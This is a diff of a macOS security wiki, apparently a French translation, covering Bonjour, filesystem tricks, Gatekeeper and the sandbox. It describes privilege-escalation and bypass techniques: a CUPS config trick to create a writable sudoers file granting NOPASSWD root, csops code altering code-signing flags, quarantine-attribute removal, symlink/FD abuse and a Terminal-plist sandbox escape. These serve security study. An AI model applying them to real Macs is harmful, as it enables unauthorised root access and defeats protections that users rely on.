-menuextra yes ``` +ARD fournit des niveaux de contrôle polyvalents, y compris l'observation, le contrôle partagé et le contrôle total, avec des sessions persistant même après des changements de mot de passe utilisateur. Il permet d'envoyer des commandes Unix directement, les exécutant en tant que root pour les utilisateurs administratifs. La planification des tâches et la recherche à distance dans Spotlight sont des fonctionnalités notables, facilitant des recherches à distance et à faible impact pour des fichiers sensibles sur plusieurs machines. -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Protocole Bonjour -## Bonjour Protocol +Bonjour, une technologie conçue par Apple, permet **aux appareils sur le même réseau de détecter les services offerts par les autres**. Également connu sous le nom de Rendezvous, **Zero Configuration**, ou Zeroconf, il permet à un appareil de rejoindre un réseau TCP/IP, **de choisir automatiquement une adresse IP**, et de diffuser ses services aux autres appareils du réseau. -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Le Zero Configuration Networking, fourni par Bonjour, garantit que les appareils peuvent : -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **Obtenir automatiquement une adresse IP** même en l'absence de serveur DHCP. +- Effectuer une **traduction de nom en adresse** sans nécessiter de serveur DNS. +- **Découvrir les services** disponibles sur le réseau. -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Les appareils utilisant Bonjour s'attribueront une **adresse IP de la plage 169.254/16** et vérifieront son unicité sur le réseau. Les Macs maintiennent une entrée de table de routage pour ce sous-réseau, vérifiable via `netstat -rn | grep 169`. -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +Pour le DNS, Bonjour utilise le **protocole Multicast DNS (mDNS)**. mDNS fonctionne sur **le port 5353/UDP**, utilisant **des requêtes DNS standard** mais ciblant **l'adresse multicast 224.0.0.251**. Cette approche garantit que tous les appareils à l'écoute sur le réseau peuvent recevoir et répondre aux requêtes, facilitant la mise à jour de leurs enregistrements. -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +Lorsqu'un appareil rejoint le réseau, il se sélectionne un nom, se terminant généralement par **.local**, qui peut être dérivé du nom d'hôte ou généré aléatoirement. -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +La découverte de services au sein du réseau est facilitée par **DNS Service Discovery (DNS-SD)**. Tirant parti du format des enregistrements DNS SRV, DNS-SD utilise **des enregistrements DNS PTR** pour permettre la liste de plusieurs services. Un client recherchant un service spécifique demandera un enregistrement PTR pour `.`, recevant en retour une liste d'enregistrements PTR formatés comme `..` si le service est disponible à partir de plusieurs hôtes. -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +L'utilitaire `dns-sd` peut être utilisé pour **découvrir et annoncer des services réseau**. Voici quelques exemples de son utilisation : -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### Recherche de services SSH +Pour rechercher des services SSH sur le réseau, la commande suivante est utilisée : ```bash dns-sd -B _ssh._tcp ``` +Cette commande initie la recherche de services \_ssh.\_tcp et affiche des détails tels que l'horodatage, les indicateurs, l'interface, le domaine, le type de service et le nom de l'instance. -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### Annonce d'un service HTTP +Pour annoncer un service HTTP, vous pouvez utiliser : ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +Cette commande enregistre un service HTTP nommé "Index" sur le port 80 avec un chemin de `/index.html`. -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +Pour ensuite rechercher des services HTTP sur le réseau : ```bash dns-sd -B _http._tcp ``` +Lorsqu'un service démarre, il annonce sa disponibilité à tous les appareils sur le sous-réseau en diffusant sa présence. Les appareils intéressés par ces services n'ont pas besoin d'envoyer de demandes, mais écoutent simplement ces annonces. -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +Pour une interface plus conviviale, l'application **Discovery - DNS-SD Browser** disponible sur l'App Store d'Apple peut visualiser les services offerts sur votre réseau local. +Alternativement, des scripts personnalisés peuvent être écrits pour parcourir et découvrir des services en utilisant la bibliothèque `python-zeroconf`. Le script [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) démontre la création d'un navigateur de services pour les services `_http._tcp.local.`, imprimant les services ajoutés ou supprimés : ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Désactivation de Bonjour -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +S'il y a des préoccupations concernant la sécurité ou d'autres raisons de désactiver Bonjour, il peut être désactivé en utilisant la commande suivante : ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## Références - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 79bb5e0f8..c19d51d45 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -14,13 +14,13 @@ Permissions dans un **répertoire** : ### Combinaisons dangereuses -**Comment écraser un fichier/dossier appartenant à root**, mais : +**Comment écraser un fichier/dossier possédé par root**, mais : - Un **propriétaire de répertoire parent** dans le chemin est l'utilisateur - Un **propriétaire de répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec **accès en écriture** - Un **groupe d'utilisateurs** a un accès **en écriture** au **fichier** -Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** vers le chemin attendu pour obtenir un écriture arbitraire privilégiée. +Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** vers le chemin attendu pour obtenir une écriture arbitraire privilégiée. ### Cas spécial du dossier root R+X @@ -30,10 +30,16 @@ Exemple dans : [https://theevilbit.github.io/posts/exploiting_directory_permissi ## Lien symbolique / Lien dur +### Fichier/dossier permissif + Si un processus privilégié écrit des données dans un **fichier** qui pourrait être **contrôlé** par un **utilisateur de moindre privilège**, ou qui pourrait avoir été **précédemment créé** par un utilisateur de moindre privilège. L'utilisateur pourrait simplement **le pointer vers un autre fichier** via un lien symbolique ou dur, et le processus privilégié écrira sur ce fichier. Vérifiez dans les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour élever les privilèges**. +### Ouvert `O_NOFOLLOW` + +Le drapeau `O_NOFOLLOW` lorsqu'il est utilisé par la fonction `open` ne suivra pas un lien symbolique dans le dernier composant du chemin, mais il suivra le reste du chemin. La bonne façon d'empêcher le suivi des liens symboliques dans le chemin est d'utiliser le drapeau `O_NOFOLLOW_ANY`. + ## .fileloc Les fichiers avec l'extension **`.fileloc`** peuvent pointer vers d'autres applications ou binaires, donc lorsqu'ils sont ouverts, l'application/binaire sera celui exécuté.\ @@ -50,15 +56,19 @@ Exemple : ``` -## FD arbitraire +## Descripteurs de fichiers -Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtiendra le FD du fichier à l'intérieur de `/etc/sudoers` et en abusant de celui-ci. +### Fuite FD (pas de `O_CLOEXEC`) -Par exemple : [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +Si un appel à `open` n'a pas le drapeau `O_CLOEXEC`, le descripteur de fichier sera hérité par le processus enfant. Donc, si un processus privilégié ouvre un fichier privilégié et exécute un processus contrôlé par l'attaquant, l'attaquant **héritera le FD sur le fichier privilégié**. + +Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtiendra le FD vers le fichier à l'intérieur de `/etc/sudoers` et en abusant de celui-ci. + +Par exemple : [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), code : https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## Éviter les astuces xattrs de quarantaine -### Supprimer cela +### Supprimer ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` @@ -87,7 +97,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol' ``` ### writeextattr ACL -Cette ACL empêche l'ajout de `xattrs` au fichier. +Cette ACL empêche d'ajouter des `xattrs` au fichier. ```bash rm -rf /tmp/test* echo test >/tmp/test @@ -112,7 +122,7 @@ ls -le /tmp/test Le format de fichier **AppleDouble** copie un fichier y compris ses ACEs. -Dans le [**code source**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), il est possible de voir que la représentation textuelle de l'ACL stockée à l'intérieur de l'xattr appelé **`com.apple.acl.text`** va être définie comme ACL dans le fichier décompressé. Donc, si vous avez compressé une application dans un fichier zip avec le format de fichier **AppleDouble** avec une ACL qui empêche d'autres xattrs d'être écrits dessus... l'xattr de quarantaine n'a pas été défini dans l'application : +Dans le [**code source**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), il est possible de voir que la représentation textuelle de l'ACL stockée à l'intérieur de l'xattr appelé **`com.apple.acl.text`** va être définie comme ACL dans le fichier décompressé. Donc, si vous avez compressé une application dans un fichier zip avec le format de fichier **AppleDouble** avec une ACL qui empêche d'autres xattrs d'y être écrits... l'xattr de quarantaine n'a pas été défini dans l'application : Vérifiez le [**rapport original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) pour plus d'informations. @@ -142,7 +152,28 @@ Pas vraiment nécessaire mais je le laisse là juste au cas où : macos-xattr-acls-extra-stuff.md {{#endref}} -## Contourner les signatures de code +## Contourner les vérifications de signature + +### Contourner les vérifications des binaires de la plateforme + +Certaines vérifications de sécurité vérifient si le binaire est un **binaire de plateforme**, par exemple pour permettre de se connecter à un service XPC. Cependant, comme exposé dans un contournement sur https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, il est possible de contourner cette vérification en obtenant un binaire de plateforme (comme /bin/ls) et d'injecter l'exploit via dyld en utilisant une variable d'environnement `DYLD_INSERT_LIBRARIES`. + +### Contourner les drapeaux `CS_REQUIRE_LV` et `CS_FORCED_LV` + +Il est possible pour un binaire en cours d'exécution de modifier ses propres drapeaux pour contourner les vérifications avec un code tel que : +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` +## Contournement des signatures de code Les bundles contiennent le fichier **`_CodeSignature/CodeResources`** qui contient le **hash** de chaque **fichier** dans le **bundle**. Notez que le hash de CodeResources est également **intégré dans l'exécutable**, donc nous ne pouvons pas y toucher non plus. @@ -259,6 +290,26 @@ Le fichier **`/etc/paths`** est l'un des principaux endroits qui peuplent la var Vous pouvez également écrire des fichiers dans **`/etc/paths.d`** pour charger de nouveaux dossiers dans la variable d'environnement `PATH`. +### cups-files.conf + +Cette technique a été utilisée dans [cet article](https://www.kandji.io/blog/macos-audit-story-part1). + +Créez le fichier `/etc/cups/cups-files.conf` avec le contenu suivant : +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +Cela créera le fichier `/etc/sudoers.d/lpe` avec des permissions 777. Le surplus à la fin sert à déclencher la création du journal d'erreurs. + +Ensuite, écrivez dans `/etc/sudoers.d/lpe` la configuration nécessaire pour escalader les privilèges comme `%staff ALL=(ALL) NOPASSWD:ALL`. + +Puis, modifiez à nouveau le fichier `/etc/cups/cups-files.conf` en indiquant `LogFilePerm 700` afin que le nouveau fichier sudoers devienne valide en invoquant `cupsctl`. + +### Évasion du Sandbox + +Il est possible d'échapper au sandbox macOS avec un écriture arbitraire sur le FS. Pour quelques exemples, consultez la page [macOS Auto Start](../../../../macos-auto-start-locations.md) mais un cas courant est d'écrire un fichier de préférences Terminal dans `~/Library/Preferences/com.apple.Terminal.plist` qui exécute une commande au démarrage et de l'appeler en utilisant `open`. + ## Générer des fichiers écrits par d'autres utilisateurs Cela générera un fichier qui appartient à root et qui est écrivable par moi ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Cela pourrait également fonctionner comme privesc : diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 8973f5db0..558d573a0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper **Gatekeeper** est une fonctionnalité de sécurité développée pour les systèmes d'exploitation Mac, conçue pour garantir que les utilisateurs **n'exécutent que des logiciels de confiance** sur leurs systèmes. Elle fonctionne en **validant les logiciels** qu'un utilisateur télécharge et tente d'ouvrir à partir de **sources extérieures à l'App Store**, comme une application, un plug-in ou un package d'installation. @@ -49,11 +45,11 @@ codesign -s toolsdemo ``` ### Notarisation -Le processus de notarisation d'Apple sert de protection supplémentaire pour protéger les utilisateurs contre les logiciels potentiellement nuisibles. Il implique que le **développeur soumette son application à l'examen** par **le service de notarisation d'Apple**, qui ne doit pas être confondu avec l'examen des applications. Ce service est un **système automatisé** qui scrute le logiciel soumis à la recherche de **contenu malveillant** et de tout problème potentiel lié à la signature du code. +Le processus de notarisation d'Apple sert de protection supplémentaire pour protéger les utilisateurs contre les logiciels potentiellement nuisibles. Il implique que le **développeur soumette son application pour examen** par le **Service de Notariat d'Apple**, qui ne doit pas être confondu avec l'App Review. Ce service est un **système automatisé** qui scrute le logiciel soumis à la recherche de **contenu malveillant** et de tout problème potentiel avec la signature du code. -Si le logiciel **réussit** cette inspection sans soulever de préoccupations, le service de notarisation génère un ticket de notarisation. Le développeur est ensuite tenu de **joindre ce ticket à son logiciel**, un processus connu sous le nom de 'stapling.' De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder. +Si le logiciel **passe** cette inspection sans soulever de préoccupations, le Service de Notariat génère un ticket de notarisation. Le développeur est ensuite tenu de **joindre ce ticket à son logiciel**, un processus connu sous le nom de 'stapling.' De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder. -Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit attaché à l'exécutable ou trouvé en ligne - **informe Gatekeeper que le logiciel a été notarié par Apple**. En conséquence, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initiale, indiquant que le logiciel a été soumis à des vérifications pour contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité du logiciel qu'ils installent ou exécutent sur leurs systèmes. +Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit attaché à l'exécutable ou trouvé en ligne - **informe Gatekeeper que le logiciel a été notarié par Apple**. En conséquence, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initial, indiquant que le logiciel a subi des vérifications pour contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité du logiciel qu'ils installent ou exécutent sur leurs systèmes. ### spctl & syspolicyd @@ -91,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an **`syspolicyd`** expose également un serveur XPC avec différentes opérations comme `assess`, `update`, `record` et `cancel` qui sont également accessibles via les API **`SecAssessment*`** de **`Security.framework`** et **`xpctl`** communique en fait avec **`syspolicyd`** via XPC. Notez comment la première règle se termine par "**App Store**" et la deuxième par "**Developer ID**" et que dans l'image précédente, il était **activé pour exécuter des applications du App Store et des développeurs identifiés**.\ -Si vous **modifiez** ce paramètre pour App Store, les "**règles Notarized Developer ID" disparaîtront**. +Si vous **modifiez** ce paramètre pour App Store, les "**règles de Developer ID notarié" disparaîtront**. Il existe également des milliers de règles de **type GKE** : ```bash @@ -122,7 +118,7 @@ spctl --master-disable spctl --global-enable spctl --master-enable ``` -Lorsqu'il est complètement activé, une nouvelle option apparaîtra : +Lorsque complètement activé, une nouvelle option apparaîtra :
@@ -273,7 +269,7 @@ Et trouvez tous les fichiers mis en quarantaine avec : ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -Les informations de quarantaine sont également stockées dans une base de données centrale gérée par LaunchServices dans **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, ce qui permet à l'interface graphique d'obtenir des données sur les origines des fichiers. De plus, cela peut être écrasé par des applications qui pourraient être intéressées à cacher leurs origines. De plus, cela peut être fait à partir des API de LaunchServices. +Les informations de quarantaine sont également stockées dans une base de données centrale gérée par LaunchServices dans **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** qui permet à l'interface graphique d'obtenir des données sur les origines des fichiers. De plus, cela peut être écrasé par des applications qui pourraient être intéressées à cacher leurs origines. De plus, cela peut être fait à partir des API de LaunchServices. #### **libquarantine.dylb** @@ -324,27 +320,7 @@ Cependant, cela n'est plus possible car macOS **empêche la modification des fic ## Contournements de Gatekeeper -Tout moyen de contourner Gatekeeper (réussir à faire télécharger quelque chose par l'utilisateur et à l'exécuter lorsque Gatekeeper devrait l'interdire) est considéré comme une vulnérabilité dans macOS. Voici quelques CVE attribués à des techniques qui ont permis de contourner Gatekeeper dans le passé : - -### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) - -Il a été observé que si l'**Archive Utility** est utilisé pour l'extraction, les fichiers avec des **chemins dépassant 886 caractères** ne reçoivent pas l'attribut étendu com.apple.quarantine. Cette situation permet involontairement à ces fichiers de **contourner les** vérifications de sécurité de Gatekeeper. - -Consultez le [**rapport original**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) pour plus d'informations. - -### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) - -Lorsqu'une application est créée avec **Automator**, les informations sur ce dont elle a besoin pour s'exécuter se trouvent dans `application.app/Contents/document.wflow` et non dans l'exécutable. L'exécutable est juste un binaire Automator générique appelé **Automator Application Stub**. - -Par conséquent, vous pourriez faire en sorte que `application.app/Contents/MacOS/Automator\ Application\ Stub` **pointe avec un lien symbolique vers un autre Automator Application Stub à l'intérieur du système** et il exécutera ce qui se trouve dans `document.wflow` (votre script) **sans déclencher Gatekeeper** car l'exécutable réel n'a pas l'attribut xattr de quarantaine. - -Exemple d'emplacement attendu : `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` - -Consultez le [**rapport original**](https://ronmasas.com/posts/bypass-macos-gatekeeper) pour plus d'informations. - -### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) - -Dans ce contournement, un fichier zip a été créé avec une application commençant à se compresser à partir de `application.app/Contents` au lieu de `application.app`. Par conséquent, l'**attribut de quarantaine** a été appliqué à tous les **fichiers de `application.app/Contents`** mais **pas à `application.app`**, ce qui était ce que Gatekeeper vérifiait, donc Gatekeeper a été contourné car lorsque `application.app` a été déclenché, il **n'avait pas l'attribut de quarantaine.** +Tout moyen de contourner Gatekeeper (réussir à faire télécharger quelque chose par l'utilisateur et à l'exécuter lorsque Gatekeeper devrait l'interdire) est considéré comme une vulnérabilité dans macOS. Voici ```bash zip -r test.app/Contents test.zip ``` @@ -401,7 +377,7 @@ aa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute ``` -Être capable de créer un fichier qui n'aura pas l'attribut de quarantaine a permis de **contourner Gatekeeper.** L'astuce consistait à **créer une application de fichier DMG** en utilisant la convention de nommage AppleDouble (la commencer par `._`) et à créer un **fichier visible en tant que lien symbolique vers ce fichier caché** sans l'attribut de quarantaine.\ +Être capable de créer un fichier qui n'aura pas l'attribut de quarantaine a permis de **contourner Gatekeeper.** L'astuce consistait à **créer une application de fichier DMG** en utilisant la convention de nom AppleDouble (la commencer par `._`) et à créer un **fichier visible en tant que lien symbolique vers ce fichier caché** sans l'attribut de quarantaine.\ Lorsque le **fichier dmg est exécuté**, comme il n'a pas d'attribut de quarantaine, il **contournera Gatekeeper.** ```bash # Create an app bundle with the backdoor an call it app.app @@ -431,8 +407,5 @@ aa archive -d s/ -o app.aar Dans un bundle ".app", si l'attribut xattr de quarantaine n'est pas ajouté, lors de son exécution **Gatekeeper ne sera pas déclenché**. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index dd1d1b6e9..9ade87ce2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -4,7 +4,7 @@ ## Informations de base -MacOS Sandbox (initialement appelé Seatbelt) **limite les applications** s'exécutant à l'intérieur du sandbox aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**. +MacOS Sandbox (appelé initialement Seatbelt) **limite les applications** s'exécutant à l'intérieur du sandbox aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**. Toute application avec l'**entitlement** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du sandbox. **Les binaires Apple** sont généralement exécutés à l'intérieur d'un Sandbox, et toutes les applications de l'**App Store ont cet entitlement**. Ainsi, plusieurs applications seront exécutées à l'intérieur du sandbox. @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Dans chaque dossier d'identifiant de bundle, vous pouvez trouver le **plist** et le **répertoire Data** de l'application avec une structure qui imite le dossier Home : +Dans chaque dossier d'identifiant de bundle, vous pouvez trouver le **plist** et le **répertoire de données** de l'application avec une structure qui imite le dossier personnel : ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> Notez que même si les symlinks sont là pour "s'échapper" du Sandbox et accéder à d'autres dossiers, l'App doit toujours **avoir les permissions** pour y accéder. Ces permissions se trouvent dans le **`.plist`** dans les `RedirectablePaths`. +> Notez que même si les symlinks sont là pour "s'échapper" du Sandbox et accéder à d'autres dossiers, l'App doit toujours **avoir des permissions** pour y accéder. Ces permissions se trouvent dans le **`.plist`** dans les `RedirectablePaths`. Le **`SandboxProfileData`** est le profil de sandbox compilé CFData échappé en B64. ```bash @@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` > [!WARNING] -> Tout ce qui est créé/modifié par une application sandboxée recevra l'**attribut de quarantaine**. Cela empêchera un espace sandbox en déclenchant Gatekeeper si l'application sandbox essaie d'exécuter quelque chose avec **`open`**. +> Tout ce qui est créé/modifié par une application en bac à sable recevra l'**attribut de quarantaine**. Cela empêchera un espace de bac à sable en déclenchant Gatekeeper si l'application en bac à sable essaie d'exécuter quelque chose avec **`open`**. -## Profils de Sandbox +## Profils de Bac à Sable -Les profils de Sandbox sont des fichiers de configuration qui indiquent ce qui sera **autorisé/interdit** dans ce **Sandbox**. Il utilise le **Sandbox Profile Language (SBPL)**, qui utilise le [**Scheme**]() langage de programmation. +Les profils de bac à sable sont des fichiers de configuration qui indiquent ce qui sera **autorisé/interdit** dans ce **bac à sable**. Il utilise le **Langage de Profil de Bac à Sable (SBPL)**, qui utilise le [**Scheme**]() langage de programmation. Ici, vous pouvez trouver un exemple : ```scheme @@ -135,7 +135,7 @@ Ici, vous pouvez trouver un exemple : > > Notez que dans la version compilée d'un profil, le nom des opérations est remplacé par leurs entrées dans un tableau connu par le dylib et le kext, rendant la version compilée plus courte et plus difficile à lire. -Les **services système** importants s'exécutent également dans leur propre **sandbox** personnalisée, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans : +Des **services système** importants s'exécutent également dans leur propre **sandbox** personnalisée, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans : - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** @@ -143,7 +143,9 @@ Les **services système** importants s'exécutent également dans leur propre ** Les applications de l'**App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment des droits tels que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau. -SIP est un profil de sandbox appelé platform_profile dans /System/Library/Sandbox/rootless.conf +Ensuite, certains **services de démon Apple** utilisent différents profils situés dans `/System/Library/Sandbox/Profiles/*.sb` ou `/usr/share/sandbox/*.sb`. Ces sandboxes sont appliquées dans la fonction principale appelant l'API `sandbox_init_XXX`. + +**SIP** est un profil de Sandbox appelé platform_profile dans `/System/Library/Sandbox/rootless.conf`. ### Exemples de Profils de Sandbox @@ -198,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {{#endtabs}} > [!NOTE] -> Notez que le **logiciel** **écrit par Apple** qui fonctionne sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que le sandboxing des applications. +> Notez que le **logiciel** **développé par Apple** qui fonctionne sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que le sandboxing des applications. Exemples de contournements : @@ -283,9 +285,9 @@ Les extensions permettent de donner des privilèges supplémentaires à un objet - `sandbox_extension_issue_generic` - `sandbox_extension_issue_posix_ipc` -Les extensions sont stockées dans le deuxième emplacement d'étiquette MACF accessible à partir des informations d'identification du processus. Le **`sbtool`** suivant peut accéder à ces informations. +Les extensions sont stockées dans le deuxième emplacement d'étiquette MACF accessible depuis les informations d'identification du processus. Le **`sbtool`** suivant peut accéder à ces informations. -Notez que les extensions sont généralement accordées par des processus autorisés, par exemple, `tccd` accordera le jeton d'extension de `com.apple.tcc.kTCCServicePhotos` lorsqu'un processus essaie d'accéder aux photos et a été autorisé dans un message XPC. Ensuite, le processus devra consommer le jeton d'extension pour qu'il soit ajouté.\ +Notez que les extensions sont généralement accordées par des processus autorisés, par exemple, `tccd` accordera le jeton d'extension de `com.apple.tcc.kTCCServicePhotos` lorsqu'un processus essaie d'accéder aux photos et a été autorisé dans un message XPC. Ensuite, le processus devra consommer le jeton d'extension pour qu'il soit ajouté à 